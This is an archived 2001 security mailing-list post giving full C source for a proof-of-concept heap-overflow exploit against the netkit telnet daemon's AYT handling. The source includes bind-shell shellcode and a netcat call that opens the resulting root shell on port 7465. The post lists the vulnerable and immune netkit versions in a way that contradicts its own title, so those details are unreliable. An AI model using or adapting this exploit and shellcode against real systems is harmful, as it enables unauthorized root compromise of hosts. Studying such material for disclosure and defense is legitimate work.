[EXPL] Proof of Concept netkit-0.17-7 Local Root Exploit

From: support@securiteam.com
Date: 10/24/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [EXPL] Proof of Concept netkit-0.17-7 Local Root Exploit
Message-Id: <20011024193236.37029138BF@mail.der-keiler.de>
Date: Wed, 24 Oct 2001 21:32:36 +0200 (CEST)

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  Proof of Concept netkit-0.17-7 Local Root Exploit
------------------------------------------------------------------------

SUMMARY

The following is an exploit code for the netkit security vulnerability
(telnet server) that allows attackers to cause the server to execute
arbitrary code. This is a Linux version of the exploit code (allowing
exploitation against Linux machines).

For more information on the vulnerability see our previous post:
 < http://www.securiteam.com/unixfocus/5RP0D2K4UQ.html> Multiple Vendors
Telnet Daemon Vulnerability

DETAILS

Vulnerable systems:
netkit version 0.17-18

Immune systems:
netkit version 0.17-7

Exploit:
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>

/*********************************************************************
       Proof of concept netkit-0.17-7 local root exploit.

 Exploits buffer overflow in the AYT handling of in.telnetd,
 due to bad logic in the handling of snprintf(), and

      TESO advisory details were enough to allow me to put
        controlable addresses in arbitary heap locations.

    Heap based exploit. Overflow allows rewriting of some heap
     data, which allowed me to put a new heap structure in the
          input buffer, which let me do whatever I want.

'traceroute exploit story - By Dvorak, Synnergy Networks' was very
 helpful. Also malloc.c was good.

*********************************************************************/
/*
                         Notes about exploit

1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won't work without at least a different setting for
   the --size option, and probably the --name option as well. The
   --name arguemnt is the hostname part of the string that gets
   returned by the AYT command, which may be different to the name
   of the address you are connecting to..
4) There are a lot of things that use the heap, making the size
   depend on alot of factors.

5) You will might need to change some (or all) of the offsets.
   This program does allow you to brute force, if the hostname returned
   by the AYT command is not a multiple of 3 letters long.
 
 It is also possibly (at least according to some quick testing I did)
 exploitable on some (all?) servers with names that are multiples of three
 letters long, using the Abort Output command to add 2 characters to the
 output length, and exploit the heap in a similar manner to this method.
 
 (You can only directly put user controlable characters in 2 out of 3
 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
 will give you 2 more than a multiple of 3 bytes) with controllable
 characters, but when you count the null added by the netoprintf(), and
use
 0 as an option to a do or will, you can sometimes create valid chunks
that
 point to locations you can control. I have only tested this method with a

 simulation, but it seems it would probably work with the telnetd as well.
 I will look into it when I have time. Maybe.)
 

                       . . _ _ _ _ . . _ _ _ . .
 |_ _|_ _|_ _ . / / |\/| |_| _| | | ||\/| / | | ||_ | |
 | | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| \/
             |
 *********************************************************************/

#define SERVER_PORT 23

#define ENV 18628

int offset12[] = {
// netibuf[343]->the chunk start.
  -4, 0xaa,
  -5, 0xbb,
  -6, 0xcc,
  -7, 0x10,
  -9, 0xdd,
  -10, 0x68,
  -12, 0xee,
  -13, 0x88,
  -14, 0x99,
  0, 0x00
};

int offset3[]={
-1,0x00,
0,0
};

int *offsets=offset12;

int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = "/|\\-";

char tosend[] = {
  0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
  0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
  0xff, 0xfb, 0x23, 0
};

char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places,
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
  "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3"
  "\xff\xff\xff\xff\xff\xff/bin/sh";

char *shellcode = lamagra_bind_code;

int sock; /* fd for socket connection */
FILE *dasock; /* for doing fprint et al */
struct sockaddr_in server; /* the server end of the socket */
struct hostent *hp; /* Return value from gethostbyname() */
char buf[40960]; /* Received data buffer */
char sock_buf[64 * 1024]; /* Received data buffer */

char daenv[10000];
char oldenv[10000];

extern int errno;
read_sock ()
{
  /* Prepare our buffer for a read and then read. */
  bzero (buf, sizeof (buf));
  if (read (sock, buf, sizeof (buf)) < 0)
    if (errno != 11)
      {
        perror ("! Socket read");
        exit (1);
      }
}

sock_setup ()
{
  int flags;
  int yes = 1;
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("! Error making the socket\n");
      exit (1);
    }
  bzero ((char *) &server, sizeof (server));
  server.sin_family = AF_INET;
  if ((hp = gethostbyname ("localhost")) == NULL)
    {
      fprintf (stderr, "! localhost unknown??\n");
      exit (1);
    }
  bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
  server.sin_port = htons ((u_short) SERVER_PORT);

  /* Try to connect */
  if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
    {
      perror ("! Error connecting\n");
      exit (1);
    }

  dasock = (FILE *) fdopen (sock, "w+");
  if (!dasock)
    {
      perror ("! Bad fdopen happened");
      exit (1);
    }

/****************************************
 Thanks to xphantom for the next 4 lines.
 (which i don't need anymore ;? )
 
  flags = fcntl(sock, F_GETFL, 0);
  flags |= O_NONBLOCK;
  fcntl(sock, F_SETFL, flags);
  if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1)
{
        perror("setsockopt");
        exit(1);
  }
*****************************************/

  setbuffer (dasock, sock_buf, 64 * 1024);

}

do_iac (char c)
{
  putc (0xff, dasock);
  putc (c, dasock);
}

do_ayt ()
{
  do_iac (0xf6); // sets buffer length to 2
}

doo (char c)
{
  putc (255, dasock);
  putc (253, dasock);
  putc (c, dasock);
}
will (char c)
{
  putc (255, dasock);
  putc (251, dasock);
  putc (c, dasock);
}
wont (char c)
{
  putc (255, dasock);
  putc (252, dasock);
  putc (c, dasock);
}

void
solve (int remain)
{
  int x, y;
  big = -100;
  small = -100;
  for (x = 0; x < 120; x++)
    for (y = 2; y < 80; y++)
      {
        if (((y * 3) + (x * dalen)) == remain)
          {
            big = x;
            small = y;
            return;
          }
      }
      fprintf (stderr, "I still can't work it out.\n\n");
      exit (1);
}

push_clean ()
{
  int l;
  for (l = 0; l < 8192; l++)
    putc (0, dasock);
}

push_heap_attack ()
{
  int l;
  int shaddr = 0x805c970;
  int overwrite = 0x08051e78; // fopen
  int tosend[] = {
    0x805670eb,
    0x8,
    shaddr,
    shaddr,
    0x0,
    0x0,
    overwrite - 12,
    shaddr
  };
  fwrite (shellcode, strlen (shellcode), 1, dasock);
  for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
    putc (0, dasock);
  fwrite (tosend, 8, 4, dasock);
  fflush (dasock);
}

fill2 (int count, char with, int real)
{
  int l;
  int first, rest, find;

  first = (int) (count / dalen) - 10;
  rest = (int) (((count) % dalen) / 3) * 3;
  find = count - ((first * dalen) + (rest * 3));
  solve (find);
  first += big;
  rest += small;
  for (l = 0; l < first; l++)
    do_ayt ();
  for (l = 0; l < rest; l++)
    will (with);
  if (real == 1)
    {
      push_clean ();
    }
}

fill (int count, char with)
{
  fprintf (stderr, " o Length %d char %d (%02x)\n",
           count, with & 0xff, with & 0xff);
  fflush (stderr);
  fill2 (8257, 'z', 0); // first part
  fill2 (count - 8257, with, 1); // do it for real
}

doenv (char *danam, char *daval)
{
  sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c",
       /* IAC SB N-E IS VAR name VAL value IAC SE */
           255, 250, 39, 0, 0, danam, 1, daval, 255, 240);

  fwrite (daenv, 512, 1, dasock);
  fflush (dasock);
}

main (int argc, char *argv[])
{
  int br, l, dosleep = 0;
  int percent = 0;
  char spin;
  unsigned char w;
  bzero (oldenv, sizeof (oldenv));
  argv++;
  dalen = strlen ("clarity.local");
  while (argv[0])
    {
      if (!strcmp (argv[0], "--pause"))
        dosleep = 1;

      if (!strcmp (argv[0], "--size") && argv[1])
        {
          mipl = atoi (argv[1]);
          argv++;
        }

      if (!strcmp (argv[0], "--name") && argv[1])
        {
          dalen = strlen (argv[1]);
          argv++;
        }
      argv++;
    }
  fprintf (stderr, " o MiPl of %4d o NameLen of %2d\n", mipl, dalen);
  if(dalen%3==0)
  {
   offsets=offset3;
  }
  else
  {
   ninbufoffset = mipl % 8192;
   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
   if (offsets[11] > 255)
     {
       fprintf (stderr, " ! MiPl too big.", mipl, dalen);
       exit (1);
     }
   }
  sock_setup ();
  if (dosleep)
    {
      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
      sleep (8);
    }

  dalen += strlen ("\r\n[ : yes]\r\n");
  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
  fflush (stderr);
  doo (5);
  will (39);
  fflush (dasock);
  read_sock ();
  fprintf (stderr, "o Setting up environment vars...\n");
  fflush (stderr);
  will (1);
  push_clean ();
  doenv ("USER", "zen-parse");
  doenv ("TERM", "zen-parse");
  will (39);
  fflush (dasock);
  fprintf (stderr, "o Doing overflows...\n");
  fflush (stderr);
  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
    {
      fill (mipl + ENV + offsets[br], offsets[br + 1]);
      fflush (dasock);
      usleep (100000);
      read_sock ();
    }
  fprintf (stderr, "o Overflows done...\n");
  fflush (stderr);
  push_clean ();

  fprintf (stderr, "o Sending IACs to start login process...\n");
  fflush (stderr);
  wont (24);
  wont (32);
  wont (35);
  fprintf (dasock, "%s", tosend);
  will (1);
  push_heap_attack ();
  sleep (1);
  fprintf (stderr, "o Attempting to lauch netcat to localhost
rootshell\n");
  execlp ("nc", "nc", "-v", "localhost", "7465", 0);
  fprintf (stderr,
           "o If the exploit worked, there should be an open port on 7465.\n");
  fprintf (stderr, " It is a root shell. You should probably close
it.\n");
  fflush (stderr);
  sleep (60);
  exit (0);
}
/********************************************************************

 Thanks to xphantom for the help with getting the some of the socket
 stuff working properly. Erm. I didn't end up using that method, but
                         thanks anyway. ;]

This code is Copyright (c) 2001 zen-parse
Use and distribution is unlimited, provided the code is not modified.
If the code, including any of text is modified, that version may not
be redistrubuted.

********************************************************************/
/* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
/********************************************************************
            Remember to visit Chapel of Stilled Voices:
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ADDITIONAL INFORMATION

The information has been provided by <mailto:zen-parse@gmx.net>
zen-parse.

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